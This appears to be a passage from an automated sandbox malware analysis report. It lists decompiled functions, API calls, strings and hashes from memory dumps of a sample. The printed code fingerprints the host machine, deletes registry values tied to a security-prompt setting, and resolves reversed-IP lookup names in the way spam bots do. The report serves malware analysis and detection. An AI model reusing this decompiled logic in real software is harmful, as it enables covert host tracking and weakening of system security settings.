ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 022BE77E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 022BDF55: GetCurrentThreadId.KERNEL32 ref: 022BDFA3

GetFileSize.KERNEL32(00000000,00000000,?,00410170,?,00000000,?,022BA695), ref: 022BE7A8
ReadFile.KERNEL32(00000000,004136C4,00000000,?,00000000,?,00410170,?,00000000,?,022BA695), ref: 022BE7D3
CloseHandle.KERNEL32(00000000,?,00410170,?,00000000,?,022BA695), ref: 022BE802

Strings

PromptOnSecureDesktop, xrefs: 022BE829, 022BE82E, 022BE865, 022BE884

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: File$CloseCurrentHandleReadSizeThread
String ID: PromptOnSecureDesktop
API String ID: 1396056608-2980165447
Opcode ID: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction ID: bfcc0dd5ec4ad2db1cf9c27024d993af8d32ed4b4601abb12bd748d883ba13ce
Opcode Fuzzy Hash: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction Fuzzy Hash: 622149B1A103017AE6277BB15C09FDB3E0DDF587D0F600124FB09B51E7EAA5D4508AB9

Uniqueness

Uniqueness Score: -1.00%

Function 0043C146, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C1C0
__aullrem.LIBCMT ref: 0043C390
__aulldiv.LIBCMT ref: 0043C3B2

Strings

9, xrefs: 0043C3C3

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction ID: db5c2e09300d82c448bccd2c5c3b164592c8f8f7589847ce89bec71e113a5295
Opcode Fuzzy Hash: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction Fuzzy Hash: 6D4105B1E002299FDB24CF58C881BAEB7B5FF89314F10919AD548BB241D7785A81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0043C194, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C1C0
__aullrem.LIBCMT ref: 0043C390
__aulldiv.LIBCMT ref: 0043C3B2

Strings

9, xrefs: 0043C3C3

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction ID: 15db1f9c961270cc98ef99e84773d831f977cf434bcb45d36aab793cbef3088d
Opcode Fuzzy Hash: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction Fuzzy Hash: A94105B1E402299FDB24CF48C881BAEB7B5FB89314F1091DAD548BB241C7385A81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427B1D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427B49
__aullrem.LIBCMT ref: 00427D16
__aulldiv.LIBCMT ref: 00427D38

Strings

9, xrefs: 00427D49

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction ID: ad38b3a30368c237ce8d1baa1f5a1d05ad7fcb6907a7a4fe04c98a7757eaa8aa
Opcode Fuzzy Hash: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction Fuzzy Hash: 2E4105B1E186298FDB64DF59D889BAEB7B5BF84300F5085DAD009AB340C7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00434EEC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434F18
__aullrem.LIBCMT ref: 004350E5
__aulldiv.LIBCMT ref: 00435107

Strings

9, xrefs: 00435118

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction ID: a7931568b44d62b5abffeb39d8bbbd7c9000edcb8b6fa6b1cbb2c37b0c831258
Opcode Fuzzy Hash: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction Fuzzy Hash: FB41E871D01629DFDB28CF58CC99BAEB7B5FB88300F24959AD009A7240D7395E84CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C13D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C1C0
_get_int64_arg.LIBCMTD ref: 0043C1E8
__aullrem.LIBCMT ref: 0043C390
__aulldiv.LIBCMT ref: 0043C3B2

Strings

9, xrefs: 0043C3C3

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction ID: 63804e1de070e4451c7d898c248b912427b718f0c2a8a6400f8a948c03badc82
Opcode Fuzzy Hash: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction Fuzzy Hash: B74105B1E402299FDB24CF58C881B9EB7B5FB8A314F1091DAD548B7241C7389E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00427ACC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427B49
_get_int64_arg.LIBCMTD ref: 00427B71
__aullrem.LIBCMT ref: 00427D16
__aulldiv.LIBCMT ref: 00427D38

Strings

9, xrefs: 00427D49

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction ID: a682be1b1e892fb928b39bc84c2c1ebacd47a41847da9a02305e376296ce61a6
Opcode Fuzzy Hash: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction Fuzzy Hash: C441F4B1E08629DFDB64DF59E989BAEB7B5BB84300F5045DAE009A7340C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00434E9B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434F18
_get_int64_arg.LIBCMTD ref: 00434F40
__aullrem.LIBCMT ref: 004350E5
__aulldiv.LIBCMT ref: 00435107

Strings

9, xrefs: 00435118

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction ID: de474730c4f0858c9d525d1a083c8559ba5e29171f30c417cccb59bec3093a69
Opcode Fuzzy Hash: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction Fuzzy Hash: 5B41E671D05628DFDB24CF58DC99BAEB7B5BB88304F2491DAD009A7240D7399E84CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

GetAdaptersAddresses, xrefs: 00401AE3
Iphlpapi.dll, xrefs: 00401ACC

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 022B764E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 022B76C2
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 022B7956
RegCloseKey.ADVAPI32(?), ref: 022B7967

Strings

PromptOnSecureDesktop, xrefs: 022B76AE, 022B76B3, 022B76CE

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: PromptOnSecureDesktop
API String ID: 1332880857-2980165447
Opcode ID: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction ID: 9c4484faa76afeacdf5754fcf6f500986bbf1db0b24a3fddcc3f70494a48b454
Opcode Fuzzy Hash: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction Fuzzy Hash: B911B132A10206AFDB128FA9DC45FEFFF79EF85784F144561F510EA194D7B189508B60

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32 ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

localcfg, xrefs: 00401BE7
hi_id, xrefs: 00401BE5

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 022B994F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 022B9986
RegDeleteValueA.ADVAPI32(?,00000000), ref: 022B99A6
RegCloseKey.ADVAPI32(?), ref: 022B99AF

Strings

PromptOnSecureDesktop, xrefs: 022B9972, 022B9977, 022B9999, 022B99BC

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction ID: 0ee2ee35691397a4665e05e99582f218253083ba3e09cecb75a9112fdc5fbae6
Opcode Fuzzy Hash: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction Fuzzy Hash: 0EF096B2680308BBF7116B94AC06FDF3A2DDF89B40F104061FB05B9095F6E59E9096BD

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

time_cfg, xrefs: 00402684
~s`ysps, xrefs: 00402693

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~s`ysps
API String ID: 1594361348-2010419113
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 022B28D4, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 022B28E3
gethostbyname.WS2_32(u6A), ref: 022B28EF

Strings

u6A, xrefs: 022B28D5, 022B28E2, 022B28EE
time_cfg, xrefs: 022B28D4

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 3207bbc1f3c21d874d3a5679af0e9db0cd116641d67295dabac08c2fc1fd8892
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 0EE08C306146129FDB119B28F848AC637A4EF0A370F108284F844C71A8C3309CC19754

Uniqueness

Uniqueness Score: -1.00%

Function 022BD7B9, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 022BD7BC
Sleep.KERNEL32(000003E8), ref: 022BD7C7
ExitProcess.KERNEL32 ref: 022BD7D3

Strings

ps, xrefs: 022BD7BC

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: ExitProcessSleepclosesocket
String ID: ps
API String ID: 2012141568-3878219058
Opcode ID: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction ID: f9a82a2959b0c70c23433461bab63f3b42a8c2e41b62b0a9ea08f71b07fc2579
Opcode Fuzzy Hash: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction Fuzzy Hash: 69C04870841308EFD7422BA4FC4CACC3E6AAF08302B21C160A10A900B0CAB00A808B29

Uniqueness

Uniqueness Score: -1.00%

Function 022B69AC, Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 022B69CE
SetFileAttributesA.KERNEL32(?,00000002), ref: 022B6A0F
GetFileSize.KERNEL32(000000FF,00000000), ref: 022B6A23
CloseHandle.KERNEL32(000000FF), ref: 022B6BC1

Part of subcall function 022BEE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,022B1DB8,?), ref: 022BEE91
Part of subcall function 022BEE7E: HeapFree.KERNEL32(00000000), ref: 022BEE98

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: 4f36cab6c772233a45602d799870fc4c69c13e8607dcd824674cf5a4174aa9e0
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction Fuzzy Hash: 7D71287181021AEFDF118FA4CD84AFEBBB9FF04394F1445AAE515B61A4D7309A82CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00435DC5, Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00435E56
_memset.LIBCMT ref: 00435F33
__invalid_parameter.LIBCMTD ref: 00435FA9

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID:
API String ID: 2178901135-0
Opcode ID: 36171e56d9970eea061338a19ccb5d58f6d2f106d1322ec9a72461bff24bcce4
Instruction ID: 917df85e2b42143c0ae4e5f3e9a39df3b84276758bf8a3c2447035ab8091d61c
Opcode Fuzzy Hash: 36171e56d9970eea061338a19ccb5d58f6d2f106d1322ec9a72461bff24bcce4
Instruction Fuzzy Hash: E961A070A00609EFCF14CF58C945AAE7371BB48328F20D25AE9296B3D1D7799A41CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
